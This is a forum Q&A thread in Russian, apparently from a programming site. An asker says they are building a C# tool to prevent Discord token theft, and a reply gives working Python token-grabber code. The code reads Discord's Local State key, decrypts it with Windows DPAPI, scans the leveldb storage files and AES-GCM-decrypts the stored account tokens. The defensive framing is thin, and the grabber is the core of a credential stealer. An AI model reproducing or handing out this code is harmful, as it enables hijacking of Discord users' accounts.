Я делаю программу для предотвращения кражи токенов Discord. И у меня вопрос, как все эти вирусы получают дискорд токен от приложения дискорд? Из каких файлов они его скачивают и как расшифровывают? Потому что я пишу программу предотвращения этого и мне нужно написать такой алгоритм. Я делаю это в С# .NET 4.7.2.
Я пробовал искать в Google и GitHub, но ничего не нашел.
У меня есть граббер токенов, и он обращается к:
\AppData\Roaming\discord\Local Storage\leveldb
Надеюсь это поможет.
Код на Python:
def get_token():
encPattern = r'dQw4w9WgXcQ:[^\"]*'
dbPath = os.path.normpath(r"%s\AppData\Roaming\discord\Local Storage\leveldb"%(os.environ['USERPROFILE']))
statePath = os.path.normpath(r"%s\AppData\Roaming\discord\Local State" % (os.environ['USERPROFILE']))
with open(statePath, 'r') as f:
state = f.read()
state = json.loads(state)
master_key = base64.b64decode(state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
for file_name in os.listdir(dbPath):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{dbPath}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in re.findall(encPattern, line):
enc_token = base64.b64decode(y.split('dQw4w9WgXcQ:')[1])
iv = enc_token[3:15]
payload = enc_token[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decr_token = cipher.decrypt(payload)
decr_token = decr_token[:-16].decode()
if check_token(decr_token):
return decr_token
@FilipG Код получил доступ к этому файлу, который затем разделил его на «dQw4w9WgXcQ:» и расшифровал его с использованием base64.
alr, а как ты скачиваешь токен? Можете ли вы предоставить код? Спасибо.